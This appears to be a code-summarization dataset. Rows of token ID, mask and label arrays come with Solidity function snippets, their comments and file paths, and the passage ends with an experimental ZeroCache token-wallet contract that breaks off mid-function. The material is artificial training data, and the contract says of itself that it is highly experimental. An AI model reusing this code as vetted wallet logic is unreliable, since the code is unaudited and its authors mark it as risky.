[ 1, 430, 261, 3576, 18, 15330, 480, 4023, 5541, 13, 288, 377, 15226, 2932, 10726, 848, 1338, 506, 906, 4193, 635, 326, 4023, 3410, 8863, 289, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7412, 12, 2867, 389, 15330, 16, 1758, 389, 20367, 16, 2254, 389, 8949, 13, 1071, 288, 203, 203, 3639, 309, 261, 70, 26488, 63, 67, 15330, 65, 411, 389, 8949, 13, 288, 203, 5411, 15226, 2932, 1248, 7304, 11013, 8863, 203, 3639, 289, 203, 203, 3639, 324, 26488, 63, 67, 15330, 65, 3947, 389, 8949, 31, 203, 3639, 324, 26488, 63, 67, 20367, 65, 1011, 389, 8949, 31, 203, 203, 3639, 3626, 10494, 3996, 1133, 24899, 15330, 16, 389, 20367, 16, 389, 8949, 16, 70, 26488, 63, 67, 15330, 6487, 70, 26488, 63, 67, 20367, 19226, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/3/0x77b12c7B54d5a4CdA274f17BcB1D064c69699cA9/sources/Marathon.sol
Đăng kí mới 1 vđv (Câu 1)
function dang_ky_vdv_Cau_1(string _name, uint _birth_year,uint _range, uint _team){ require(_range == 25 || _range == 50 || _range == 75 || _range == 100); require(_team == 1 || _team == 2|| _team == 3|| _team == 4|| _team == 5); athletes_count++; list_athletes[athletes_count] = Athlete(_name,_birth_year,_range,0,_team,block.timestamp,0); }
5,278,030
[ 1, 133, 243, 133, 230, 3368, 417, 132, 260, 312, 162, 124, 254, 77, 404, 331, 133, 244, 90, 261, 39, 132, 100, 89, 404, 13, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 302, 539, 67, 18465, 67, 90, 15679, 67, 39, 8377, 67, 21, 12, 1080, 389, 529, 16, 2254, 389, 22531, 67, 6874, 16, 11890, 389, 3676, 16, 2254, 389, 10035, 15329, 203, 3639, 2583, 24899, 3676, 422, 6969, 747, 389, 3676, 422, 6437, 747, 389, 3676, 422, 18821, 747, 389, 3676, 422, 2130, 1769, 203, 3639, 2583, 24899, 10035, 422, 404, 747, 389, 10035, 422, 576, 20081, 389, 10035, 422, 890, 20081, 389, 10035, 422, 1059, 20081, 389, 10035, 422, 1381, 1769, 203, 3639, 225, 421, 1810, 281, 67, 1883, 9904, 31, 203, 3639, 666, 67, 421, 1810, 281, 63, 421, 1810, 281, 67, 1883, 65, 273, 432, 451, 1810, 73, 24899, 529, 16, 67, 22531, 67, 6874, 16, 67, 3676, 16, 20, 16, 67, 10035, 16, 2629, 18, 5508, 16, 20, 1769, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/80001/0xe6bEB35055374766db01E54D9EDD1ABe152FdB5f/sources/src/MembershipNFT.sol
* @notice Returns the metadata URI for an NFT & works out it's level based on the associated TBA's balance. @dev See `BatchMintMetadata` for handling of metadata in this contract. @param _tokenId The tokenId of an NFT./ do math here if there are multiple levels rather than up to 3
function tokenURI( uint256 _tokenId ) public view virtual override returns (string memory) { uint256 level; address wallet = IERC6551Registry(registryContract).account( implementation, chainId, address(this), _tokenId, 0 ); uint256 balance = IERC20(tokenContract).balanceOf(wallet); for (uint i = 0; i < levels.length; i++) { if (balance < tierURIs[levels[i]].threshold) { break; } level = levels[i]; } return _getURIFromSharedMetadata(level, _tokenId); }
5,699,345
[ 1, 1356, 326, 1982, 3699, 364, 392, 423, 4464, 473, 6330, 596, 518, 1807, 1801, 2511, 603, 326, 3627, 399, 12536, 1807, 11013, 18, 2868, 2164, 1375, 4497, 49, 474, 2277, 68, 364, 5057, 434, 1982, 316, 333, 6835, 18, 282, 389, 2316, 548, 1021, 1147, 548, 434, 392, 423, 4464, 18, 19, 741, 4233, 2674, 309, 1915, 854, 3229, 7575, 9178, 2353, 731, 358, 890, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1147, 3098, 12, 203, 3639, 2254, 5034, 389, 2316, 548, 203, 565, 262, 1071, 1476, 5024, 3849, 1135, 261, 1080, 3778, 13, 288, 203, 3639, 2254, 5034, 1801, 31, 203, 3639, 1758, 9230, 273, 467, 654, 39, 26, 2539, 21, 4243, 12, 9893, 8924, 2934, 4631, 12, 203, 5411, 4471, 16, 203, 5411, 2687, 548, 16, 203, 5411, 1758, 12, 2211, 3631, 203, 5411, 389, 2316, 548, 16, 203, 5411, 374, 203, 3639, 11272, 203, 3639, 2254, 5034, 11013, 273, 467, 654, 39, 3462, 12, 2316, 8924, 2934, 12296, 951, 12, 19177, 1769, 203, 3639, 364, 261, 11890, 277, 273, 374, 31, 277, 411, 7575, 18, 2469, 31, 277, 27245, 288, 203, 5411, 309, 261, 12296, 411, 17742, 1099, 2520, 63, 12095, 63, 77, 65, 8009, 8699, 13, 288, 203, 7734, 898, 31, 203, 5411, 289, 203, 5411, 1801, 273, 7575, 63, 77, 15533, 203, 3639, 289, 203, 3639, 327, 389, 588, 3098, 1265, 7887, 2277, 12, 2815, 16, 389, 2316, 548, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.25; /******************************************************************************* * * Copyright (c) 2019 Decentralization Authority MDAO. * Released under the MIT License. * * ZeroCache - AmTrust (First Edition) * * ----------------------------------------------------------------- * * !!! WARNING WARNING WARNING !!! * !!! THIS IS HIGHLY EXPERIMENTAL SOFTWARE !!! * !!! USE AT YOUR OWN RISK !!! * * ----------------------------------------------------------------- * * Our team at D14na has been hard at work over the Crypto Winter; * and we are very proud to announce the premier release of a still * experimental, but really fun and social new way to "Do Crypto!" * * TL;DR * ----- * * A meta-currency / smart wallet built for the purpose of promoting * and supporting the core economic needs of the Zeronet community: * 1. Electronic Commerce * 2. Zite Monetization * 3. Wealth Management * * ALL transactions are guaranteed by Solidty contracts managed by a * growing community of federated nodes. * * For more information, please visit: * https://0net.io/zerocache.bit * * Version 19.2.21 * * https://d14na.org * support@d14na.org */ /******************************************************************************* * * SafeMath */ library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } /******************************************************************************* * * ECRecovery * * Contract function to validate signature of pre-approved token transfers. * (borrowed from LavaWallet) */ contract ECRecovery { function recover(bytes32 hash, bytes sig) public pure returns (address); } /******************************************************************************* * * ERC Token Standard #20 Interface * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md */ contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } /******************************************************************************* * * ApproveAndCallFallBack * * Contract function to receive approval and execute function in one call * (borrowed from MiniMeToken) */ contract ApproveAndCallFallBack { function approveAndCall(address spender, uint tokens, bytes data) public; function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } /******************************************************************************* * * Owned contract */ contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); emit OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } /******************************************************************************* * * Zer0netDb Interface */ contract Zer0netDbInterface { /* Interface getters. */ function getAddress(bytes32 _key) external view returns (address); function getBool(bytes32 _key) external view returns (bool); function getBytes(bytes32 _key) external view returns (bytes); function getInt(bytes32 _key) external view returns (int); function getString(bytes32 _key) external view returns (string); function getUint(bytes32 _key) external view returns (uint); /* Interface setters. */ function setAddress(bytes32 _key, address _value) external; function setBool(bytes32 _key, bool _value) external; function setBytes(bytes32 _key, bytes _value) external; function setInt(bytes32 _key, int _value) external; function setString(bytes32 _key, string _value) external; function setUint(bytes32 _key, uint _value) external; /* Interface deletes. */ function deleteAddress(bytes32 _key) external; function deleteBool(bytes32 _key) external; function deleteBytes(bytes32 _key) external; function deleteInt(bytes32 _key) external; function deleteString(bytes32 _key) external; function deleteUint(bytes32 _key) external; } /******************************************************************************* * * Wrapped ETH (WETH) Interface */ contract WETHInterface { function() public payable; function deposit() public payable ; function withdraw(uint wad) public; function totalSupply() public view returns (uint); function approve(address guy, uint wad) public returns (bool); function transfer(address dst, uint wad) public returns (bool); function transferFrom(address src, address dst, uint wad) public returns (bool); event Approval(address indexed src, address indexed guy, uint wad); event Transfer(address indexed src, address indexed dst, uint wad); event Deposit(address indexed dst, uint wad); event Withdrawal(address indexed src, uint wad); } /******************************************************************************* * * ERC-165 Interface */ contract ERC165 { function supportsInterface(bytes4 interfaceID) external view returns (bool); } /******************************************************************************* * * ERC-1155 Interface */ // TODO Add interface functions // (see https://github.com/enjin/erc-1155/blob/master/contracts/IERC1155.sol) // (and https://blog.enjincoin.io/erc-1155-the-crypto-item-standard-ac9cf1c5a226) /******************************************************************************* * * @notice ZeroCache DOES NOT HOLD ANY "OFFICIAL" AFFILIATION with ZeroNet Core, * ZeroNet.io nor any of its brands and affiliates. * * ZeroCache IS THE "OFFICIAL" META-CURRENCY OF THE GROWING COMMUNITY * OF ZER0NET-SPONSORED PRODUCTS AND SERVICES. * * @dev In conjunction with the ZeroCache Daemon, this contract manages the * ability to dynamically allocate the assets of a "smart" crypto wallet, * in real-time, based on a user's pre-selected financial profile. * * Initial support for the following cryptos: * - Ethereum (WETH) : HODL as a long-term growth investment. * - MakerDAO (DAI) : SPEDN on digital goods and services. * - ZeroGold (0GOLD) : STAEK to access premium features and services. */ contract ZeroCache is Owned { using SafeMath for uint; /* Initialize predecessor contract. */ address private _predecessor; /* Initialize successor contract. */ address private _successor; /* Initialize revision number. */ uint private _revision; /* Initialize Zer0net Db contract. */ Zer0netDbInterface private _zer0netDb; /* Initialize account balances. */ mapping(address => mapping (address => uint)) private _balances; /* Initialize expired signature flags. */ mapping(bytes32 => bool) private _expiredSignatures; /* Initialize revision depth. */ // NOTE: Allows for balance and transaction aggregation // from legacy ZeroCache contract instance(s). // FIXME Determine the MAXIMUM depth and set here. // Estimated to be between 100-200 uint private _MAX_REVISION_DEPTH = 0; event Deposit( address indexed token, address owner, uint tokens, bytes data ); event Migrate( address indexed token, address owner, uint tokens ); event Skipped( address sender, address receiver, address token, uint tokens ); event Staek( address sender, address staekholder, uint tokens ); event Transfer( address indexed token, address sender, address receiver, uint tokens ); event Withdraw( address indexed token, address owner, uint tokens ); /*************************************************************************** * * Constructor */ constructor() public { /* Set predecessor address. */ _predecessor = 0x0; /* Verify predecessor address. */ if (_predecessor != 0x0) { /* Retrieve the last revision number (if available). */ uint lastRevision = ZeroCache(_predecessor).getRevision(); /* Set (current) revision number. */ _revision = lastRevision + 1; } /* Initialize Zer0netDb (eternal) storage database contract. */ // NOTE We hard-code the address here, since it should never change. _zer0netDb = Zer0netDbInterface(0xE865Fe1A1A3b342bF0E2fcB11fF4E3BCe58263af); } /** * @dev Only allow access to an authorized Zer0net administrator. */ modifier onlyAuthBy0Admin() { /* Verify write access is only permitted to authorized accounts. */ require(_zer0netDb.getBool(keccak256( abi.encodePacked(msg.sender, '.has.auth.for.zerocache'))) == true); _; // function code is inserted here } /** * Fallback (default) * * Accepts direct ETH transfers to be wrapped for owner into one of the * canonical Wrapped ETH (WETH) contracts: * - Mainnet : 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2 * - Ropsten : 0xc778417E063141139Fce010982780140Aa0cD5Ab * - Kovan : 0xd0A1E359811322d97991E03f863a0C30C2cF029C * - Rinkeby : 0xc778417E063141139Fce010982780140Aa0cD5Ab * (source https://blog.0xproject.com/canonical-weth-a9aa7d0279dd) * * NOTE: We are forced to hard-code all possible network contract * (addresses) into this fallback since the WETH contract * DOES NOT provide enough gas for us to lookup the * specific address for our network. * * NOTE: This contract requires ~50k gas to wrap ETH using the * fallback/wrap functions. However, it will require ~80k * to initialize on first-use. */ function () public payable { /* Initialize WETH contract flag. */ bool isWethContract = false; /* Initialize WETH contracts array. */ address[4] memory contracts; /* Set Mainnet. */ contracts[0] = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; /* Set Ropsten. */ contracts[1] = 0xc778417E063141139Fce010982780140Aa0cD5Ab; /* Set Kovan. */ contracts[2] = 0xd0A1E359811322d97991E03f863a0C30C2cF029C; /* Set Rinkeby. */ contracts[3] = 0xc778417E063141139Fce010982780140Aa0cD5Ab; /* Loop through all network contracts. */ for (uint i = 0; i < contracts.length; i++) { /* Validate sender. */ if (msg.sender == contracts[i]) { /* Set flag. */ isWethContract = true; } } /* DO NOT (re-)wrap incoming ETH from Wrapped ETH contract. */ if (!isWethContract) { _wrap(msg.sender); } } /*************************************************************************** * * ACTIONS * */ /** * Wrap */ function wrap() external payable returns (bool success) { /* Return wrap success. */ return _wrap(msg.sender); } /** * Wrap * * NOTE: This function is primarily used to support instance * migration(s) of WETH. */ function wrap( address _owner ) external payable returns (bool success) { return _wrap(_owner); } /** * Wrap * * Send Ether into this method. It gets wrapped and then deposited * in this contract as a token balance assigned to the sender. */ function _wrap( address _owner ) private returns (bool success) { /* Set WETH address. */ address wethAddress = _weth(); /* Forward this payable ether into the wrapping contract. */ // NOTE: Transfer ETH before balance credit to prevent re-entry attack. success = wethAddress.call .gas(200000) .value(msg.value) (abi.encodeWithSignature("deposit()")); /* Validate transfer. */ if (success) { /* Increase WETH balance by sent value. */ _balances[wethAddress][_owner] = _balances[wethAddress][_owner].add(msg.value); /* Initialize empty data (for event log). */ bytes memory data; /* Broadcast event. */ emit Deposit( wethAddress, _owner, msg.value, data ); } else { /* Report error. */ revert('An error occurred while wrapping your ETH.'); } } /** * Unwrap */ function unwrap( uint _tokens ) public returns (bool success) { return _unwrap(msg.sender, _tokens); } /** * Unwrap * * We allow administrative unwrapping of WETH held * in the ZeroCache, FOR COMPLIANCE PURPOSES ONLY. * * NOTE: This function is reserved for exclusive use by * Zer0net Administration ONLY. * * Tokens unwrapped by an administrator can * ONLY be transferred to the ORIGINAL owner. */ function unwrap( address _owner, uint _tokens ) onlyAuthBy0Admin external returns (bool success) { return _unwrap(_owner, _tokens); } /** * Unwrap * * Allows an owner to unwrap their Ether from the * canonical WETH contract. */ function _unwrap( address _owner, uint _tokens ) private returns (bool success) { /* Set WETH address. */ address wethAddress = _weth(); /* Validate balance. */ if (_balances[wethAddress][_owner] < _tokens) { revert('Oops! You DO NOT have enough WETH.'); } /* Decrease WETH balance by sent value. */ // NOTE: Decrease balance before transfer to prevent re-entry attack. _balances[wethAddress][_owner] = _balances[wethAddress][_owner].sub(_tokens); /* Withdraw ETH from Wrapper contract. */ success = wethAddress.call .gas(200000) (abi.encodeWithSignature("withdraw(uint256)", _tokens)); /* Validate withdrawal. */ if (success) { /* Transfer "unwrapped" Ether (ETH) back to owner. */ _owner.transfer(_tokens); /* Broadcast event. */ emit Withdraw( wethAddress, _owner, _tokens ); } else { /* Report error. */ revert('An error occurred while unwrapping your ETH.'); } } /** * Deposit * * Provides support for "pre-approved" token deposits. * * NOTE: Required pre-allowance/approval is required in order * to successfully complete the transfer. */ function deposit( address _token, address _from, uint _tokens, bytes _data ) external returns (bool success) { /* Make deposit. */ return _deposit(_token, _from, _tokens, _data); } /** * Receive Approval * * Will typically be called from `approveAndCall`. * * NOTE: Owner can assign ANY address to receive the deposit * (including their own). By default, owner will be used. */ function receiveApproval( address _from, uint _tokens, address _token, bytes _data ) public returns (bool success) { /* Make deposit. */ return _deposit(_token, _from, _tokens, _data); } /** * Deposit * * Deposits ANY ERC20-compatible token into this contract; * to be managed as ZeroCache. * * NOTE: Owners maintain 100% control* of their token(s) * at all times. * * * Administrators have the ability to return tokens * back to their ORIGINAL owners AT ANY TIME. * FOR COMPLIANCE PURPOSES ONLY */ function _deposit( address _token, address _from, uint _tokens, bytes _data ) private returns (bool success) { /* Transfer the ERC-20 tokens into Cache. */ // NOTE: Transfer tokens before credit to prevent re-entry attack. ERC20Interface(_token).transferFrom( _from, address(this), _tokens); /* Initialize receiver (address). */ address receiver = 0x0; /** * If `_data` is an `address`, then set the value to `receiver`. * e.g. when `approveAndCall` is made from a contract * (representing the owner). */ if (_data.length == 20) { /* Retrieve the receiver's address from `data` payload. */ receiver = _bytesToAddress(_data); } else { /* Set receiver to `from` (also the token owner). */ receiver = _from; } /* Increase receiver balance. */ _balances[_token][receiver] = _balances[_token][receiver].add(_tokens); /* Broadcast event. */ emit Deposit(_token, receiver, _tokens, _data); /* Return success. */ return true; } /** * Withdraw */ function withdraw( address _token, uint _tokens ) public returns (bool success) { return _withdraw(msg.sender, _token, _tokens); } /** * Withdraw * * We allow administrative withdrawls of tokens held * in the ZeroCache, FOR COMPLIANCE PURPOSES ONLY. * * NOTE: This function is reserved for exclusive use by * Zer0net Administration ONLY. * * Tokens withdrawn by an administrator can * ONLY be transferred to the ORIGINAL owner. */ function withdraw( address _owner, address _token, uint _tokens ) onlyAuthBy0Admin external returns (bool success) { return _withdraw(_owner, _token, _tokens); } /** * Withdraw * * Allows the withdrawl of tokens held in the ZeroCache * back to the ORIGINAL owner. */ function _withdraw( address _owner, address _token, uint _tokens ) private returns (bool success) { /* Validate balance. */ if (_balances[_token][_owner] < _tokens) { revert('Oops! You DO NOT have enough tokens.'); } /* Decrease owner balance by token amount. */ // NOTE: Decrease balance before transfer to prevent re-entry attack. _balances[_token][_owner] = _balances[_token][_owner].sub(_tokens); /* Transfer requested tokens to owner. */ ERC20Interface(_token).transfer(_owner, _tokens); /* Broadcast event. */ emit Withdraw(_token, _owner, _tokens); /* Return success. */ return true; } /** * Transfer * * Transfers the "specified" ERC-20 tokens held by the sender * to the receiver's account. */ function transfer( address _to, address _token, uint _tokens ) external returns (bool success) { return _transfer( msg.sender, _to, _token, _tokens); } /** * (Relayed) Transfer * * This transfer requires an off-chain (EC) signature, from the * account holder, detailing the transaction. * * Staekholder * ----------- * * Users may choose to boost the speed of execution for their * transfer request, decreasing the delivery time to near instant * (highest priority for miners to process) confirmation. * * A staek of ZeroGold is required to be added to the request, * in an amount specified by your preferred staekholder. * * This staek is 100% optional, as Standard Delivery will be * FREE FOREVER! * * TODO: Let's implement GasToken to provide staekholders an opportunity * to hedge against the volatility of future gas prices. * (source: https://gastoken.io/) */ function transfer( address _token, // contract address address _from, // sender's address address _to, // receiver's address uint _tokens, // quantity of tokens address _staekholder, // staekholder uint _staek, // staek amount uint _expires, // expiration time uint _nonce, // unique integer bytes _signature // signed message ) external returns (bool success) { /* Calculate transfer hash. */ bytes32 transferHash = keccak256(abi.encodePacked( address(this), _token, _from, _to, _tokens, _staekholder, _staek, _expires, _nonce )); /* Validate request has authorized signature. */ bool requestHasAuthSig = _requestHasAuthSig( _from, transferHash, _expires, _signature ); /* Validate authorization. */ if (!requestHasAuthSig) { revert('Oops! This relay request is NOT valid.'); } /* Validate boost fee and pay (if necessary). */ if (_staekholder != 0x0 && _staek > 0) { _addStaek(_from, _staekholder, _staek); } /* Request token transfer. */ return _transfer( _from, _to, _token, _tokens); } /** * Transfer * * Transfers the "specified" ERC-20 token(s) held by the sender * to the receiver's account. */ function _transfer( address _from, address _to, address _token, uint _tokens ) private returns (bool success) { /* Validate balance. */ if (_balances[_token][_from] < _tokens) { revert('Oops! You DO NOT have enough tokens.'); } /* Remove the transfer value from sender's balance. */ // NOTE: We decrease balance before adding to prevent re-entry attack. _balances[_token][_from] = _balances[_token][_from].sub(_tokens); /* Add the transfer value to the receiver's balance. */ _balances[_token][_to] = _balances[_token][_to].add(_tokens); /* Broadcast event. */ emit Transfer( _token, _from, _to, _tokens ); /* Return success. */ return true; } /** * Multi Transfer * * Transfers multiple ERC-20 tokens held by the sender * to multiple receiver accounts. */ function multiTransfer( address[] _to, address[] _token, uint[] _tokens ) external returns (bool success) { return _multiTransfer(msg.sender, _to, _token, _tokens); } //---------------------------------------------------------------- //---------------------------------------------------------------- // NOTE: We DO NOT yet offer support for RELAYED Multi Transfers. //---------------------------------------------------------------- //---------------------------------------------------------------- /** * Transfer Multiple Tokens (w/ Single Transaction) * * WARNING: Sending to multiple receipients is very risky, * as there is NO way to control the gas costs per * transaction (ie. contract addresses are limitless). * * For this reason, we SKIP ALL transfers to contract * addresses. You can monitor the `Skipped` event. */ function _multiTransfer( address _from, address[] _to, address[] _token, uint[] _tokens ) private returns (bool success) { /* Loop through all receivers. */ for (uint i = 0; i < _to.length; i++) { /* Set token. */ address token = _token[i]; /* Set token value. */ uint tokens = _tokens[i]; /* Set receiver. */ address to = _to[i]; /* Validate receiver address. */ if (_ownerIsContract(to)) { /* Broadcast event. */ emit Skipped(_from, to, token, tokens); } else { /* Transfer tokens. */ _transfer( _from, to, token, tokens); } } /* Return success. */ return true; } /** * Add Staek (to Relay Transfer) * * This is an (optional) staek provided by the sender, which * transfers ZeroGold from the sender's account to the specified * staekholder account. * * NOTE: Staek is only a temporary hold, until fees are collected * by the sender's preferred staekholder. */ function _addStaek( address _owner, address _staekholder, uint _tokens ) private returns (bool success) { /* Set ZeroGold address. */ address zgAddress = _zeroGold(); /* Validate available balance. */ if (_balances[zgAddress][_owner] < _tokens) { revert('Oops! You DO NOT have enough ZeroGold to staek.'); } /* Decrease owner balance by token amount. */ // NOTE: Decrease balance before transfer to prevent re-entry attack. _balances[zgAddress][_owner] = _balances[zgAddress][_owner].sub(_tokens); /* Transfer specified tokens to staekholder account. */ _zeroGold().transfer(_staekholder, _tokens); /* Broadcast event. */ emit Staek( _owner, _staekholder, _tokens ); /* Return success. */ return true; } /** * Cancel * * Cancels a previously authorized/signed transfer request, * by invalidating the signature on-chain. */ function cancel( address _token, // contract address address _from, // sender's address address _to, // receiver's address uint _tokens, // quantity of tokens address _staekholder, // staekholder uint _staek, // staek amount uint _expires, // expiration time uint _nonce, // unique integer bytes _signature // signed message ) external returns (bool success) { /* Calculate cancel hash. */ bytes32 cancelHash = keccak256(abi.encodePacked( address(this), _token, _from, _to, _tokens, _staekholder, _staek, _expires, _nonce )); /* Validate request has authorized signature. */ bool requestHasAuthSig = _requestHasAuthSig( _from, cancelHash, _expires, _signature ); /* Validate authorization. */ if (!requestHasAuthSig) { revert('Oops! This cancel request is NOT valid.'); } /* Return success. */ return true; } /** * Migrate */ function migrate( address[] _tokens ) external returns (bool success) { return _migrate(msg.sender, _tokens); } /** * Migrate * * THIS FUNCTION IS UN-IMPLMENTED * * NOTE: There is no ADMIN migration function available * as a protection against UNAUTHORIZED transfer(s) to * possible rogue instance(s) of ZeroCache. */ /** * Migrate * * Allows for the full balance transfer of a multiple token(s) * from legacy instance(s) to the LATEST instance of ZeroCache. */ function _migrate( address _owner, address[] _tokens ) private returns (bool success) { /* Set hash. */ bytes32 hash = keccak256('aname.zerocache'); /* Retrieve value from Zer0net Db. */ address latestCache = _zer0netDb.getAddress(hash); /* Loop 